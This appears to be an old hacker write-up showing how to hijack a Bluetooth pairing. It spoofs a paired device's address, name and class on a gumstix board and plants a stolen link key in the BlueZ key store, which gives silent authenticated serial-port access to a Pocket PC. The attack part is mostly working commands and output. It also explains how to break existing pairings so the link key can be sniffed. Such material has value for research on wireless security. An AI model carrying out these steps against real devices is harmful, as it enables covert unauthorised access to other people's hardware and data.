Theft of Bluetooth Link Keys for Fun and Profit? kf[at]digitalmunition[dot]com http://www.digitalmunition.com/TheftOfLinkKey.txt In essence two things are required to attack a bluetooth pair. The ability to spoof a BD_ADDR and possession of a secret key also known as a Link Key. Some folks may argue that a third item is required, in the form of a Bluetooth Protocol Analyzer, however several trivial ways to steal link keys exist. In the Bluetooth Specification version 1.0A description of the Link Manager Protocol, section 3.2.1 states that "The authentication procedure is based on a challenge-response scheme... The verifier sends an LMP_au_rand PDU which contains a random number (the challenge) to the claimant. The claimant calculates a response, which is a function of the challenge, the claimant's BD_ADDR and a secret key. That response is sent back to the verifier, which checks if the response was correct or not... A successful calculation of the authentication response requires that two devices share a secret key." With both a spoofed BD_ADDR and a Link Key in hand we can simply allow our device to handle the challenge response with out any special code required. Once the authentication has passed we in theory should have untethered access to the device we are attacking. In this example scenario We have 3 devices involved: 'threat', 'gumstix', and 'pocket_pc'. We will be attacking the pairing between 'pocket_pc' and 'threat' from 'gumstix'. Since 'threat' is currently paired with 'pocket_pc' it can connect to the Serial Port profile at will. This profile has been protected by the check box "Authentication (Passkey) required", so any non paired device that attempts to connect will be prompted to pair or simply refused a connection. Here is the connection from 'threat' to 'pocket_pc' threat:~# rfcomm connect 2 00:04:3E:65:A1:C8 1 Connected /dev/rfcomm2 to 00:04:3E:65:A1:C8 on channel 1 Press CTRL-C for hangup And here is the connection from 'gumstix' to 'pocket_pc' # rfcomm connect 2 00:04:3E:65:A1:C8 1 Can't connect RFCOMM socket: Connection refused (we also got a pairing request from 'gumstix' on the 'pocket_pc' screen) As mentioned above theft of the actual Link Key is fairly trivial, so for the scope of this document assume that either A) the pairing process was observed via Protocol Analyzer or B) Some sort of software bug was used to steal the link key. As an example we could have forced a pairing attempt between 'pocket_pc' and 'gumstix' for sniffing purposes by causing the existing pair to become invalid. From there calculations against the link key can be done. # cat > linkkeys 00:04:3E:65:A1:C8 thisisgarbadeasdasdadasdadasdasds 2 ^C # rfcomm connect 2 00:04:3E:65:A1:C8 1 Can't connect RFCOMM socket: Connection refused At this point the pairing data stord on 'pocket_pc' has been ruined, and the devices will have to re-pair. Another chance to steal the link key could arise with certain software bugs in a devices Bluetooth Stack, for example http://cvs.sourceforge.net/viewcvs.py/bluez/utils/hcid/security.c?r1=1.34&r2=1.31 . Our goal in this attack is to allow 'gumstix' to connect to 'pocket_pc' without prompting for device pairing. In this case since we already know that 'pocket_pc' and 'threat' are paired so we will make an attempt to spoof requests from 'gumstix' by pretenting to be 'threat'. From 'gumstix' first we must first obtain a few things, the device address, name and class of 'threat'. # hcitool inquiry Inquiring ... 00:04:3E:65:A1:C8 clock offset: 0x0ee7 class: 0x120110 00:0A:3A:54:71:95 clock offset: 0x0010 class: 0x3e0100 # hcitool scan Scanning ... 00:04:3E:65:A1:C8 Pocket_PC 00:0A:3A:54:71:95 threat Next will simply configure 'gumstix' to become a mirror image of 'threat' based on the above data. The first step is to steal the BD_ADDR from 'threat'. For this I personally have 2 options, one is my ROK 101 008 from Ericsson and option two is my ROK 104 001 from Infineon. The only other option that I am aware of is the Infineon pba31307 however I have not tested this chip myself. As a side note I am currently unaware of a method that allows a Cambridge silicon radio to specify a BD_ADDR. Since the gumstix platform comes with an ROK 104 001 on board we will download an arm binary that lets us set the BD_ADDR from http://www.digitalmunition.com/setbd-gumstix-bluez.tar.gz # /mnt/setbd-gumstix-bluez 00:0A:3A:54:71:95 Using BD_ADDR from command line 00:0A:3A:54:71:95 < HCI Command: ogf 0x3f, ocf 0x0022, plen 255 95 71 54 3A 0A 00 00 00 10 C9 00 40 B0 FD FF BE 24 FC FF BE 98 3F 00 40 3C 2C 00 40 A4 FD FF BE A4 FD FF BE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 34 80 00 00 04 00 00 00 20 00 00 00 05 00 00 00 06 00 00 00 06 00 00 00 00 10 00 00 07 00 00 00 00 00 00 40 08 00 00 00 00 00 00 00 09 00 00 00 A4 88 00 00 00 00 00 00 00 00 00 00 0B 00 00 00 00 00 00 00 0C 00 00 00 00 00 00 00 0D 00 00 00 00 00 00 00 0E 00 00 00 00 00 00 00 00 00 00 00 14 50 00 40 78 C8 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 53 8E 07 BC 85 00 00 FE 37 07 00 6C 99 03 40 7C 53 00 40 44 B6 07 40 6C 99 03 40 B0 FD FF BE 78 87 00 00 A4 FD FF BE 02 00 00 00 20 42 00 40 6C FE FF BE D8 88 00 00 A4 88 00 00 5C B1 07 > HCI Event: 0x06 plen 149 71 54 3A 0A hci0: Type: UART BD Address: 00:0A:3A:54:71:95 ACL MTU: 672:8 SCO MTU: 64:0 UP RUNNING PSCAN ISCAN RX bytes:4433 acl:96 sco:0 events:306 errors:0 TX bytes:3372 acl:98 sco:0 commands:94 errors:0 Next we must take both the device name and device class from 'threat' # hciconfig hci0 class 0x3e0100 # hciconfig hci0 name threat I have found that some devices are very picky about the device class and name matching the original paired device when a spoofed connection attempt is made. When we are all finished hci0 should look like the following. # hciconfig hci0 -a hci0: Type: UART BD Address: 00:0A:3A:54:71:95 ACL MTU: 672:8 SCO MTU: 64:0 UP RUNNING PSCAN ISCAN RX bytes:6202 acl:136 sco:0 events:425 errors:0 TX bytes:4667 acl:138 sco:0 commands:124 errors:0 Features: 0xff 0xfb 0x01 0x00 0x00 0x00 0x00 0x00 Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 Link policy: RSWITCH HOLD SNIFF PARK Link mode: SLAVE ACCEPT Name: 'threat' Class: 0x3e0100 Service Classes: Networking, Rendering, Capturing Device Class: Computer, Uncategorized HCI Ver: 1.1 (0x1) HCI Rev: 0x8105 LMP Ver: 1.1 (0x1) LMP Subver: 0x8d40 Manufacturer: Ericsson Technology Licensing (0) The final step involves inserting our stolen link key into the Bluez key store. The keystore resides in /var/lib/bluetooth//linkkeys where is the device address of the machine running Bluez. The linkkeys file format is <128 bit link key> . # cd /var/lib/bluetooth/ # mkdir 00:0A:3A:54:71:95 # cd 00\:0A\:3A\:54\:71\:95/ # cat > linkkeys 00:04:3E:65:A1:C8 AA0F3125267C236E10B145F1DF5BA7D7 2 ^C At this point we should be all set to test out our stolen link key and spoofed address. # rfcomm connect 2 00:04:3E:65:A1:C8 1 Connected /dev/rfcomm2 to 00:04:3E:65:A1:C8 on channel 1 Press CTRL-C for hangup Success! There is no indication of a connection on the ipaq unless you go to Incomming Connections in the Bluetooth Manager, and at this point we have access to 'pocket_pc' as if we were 'threat'. -KF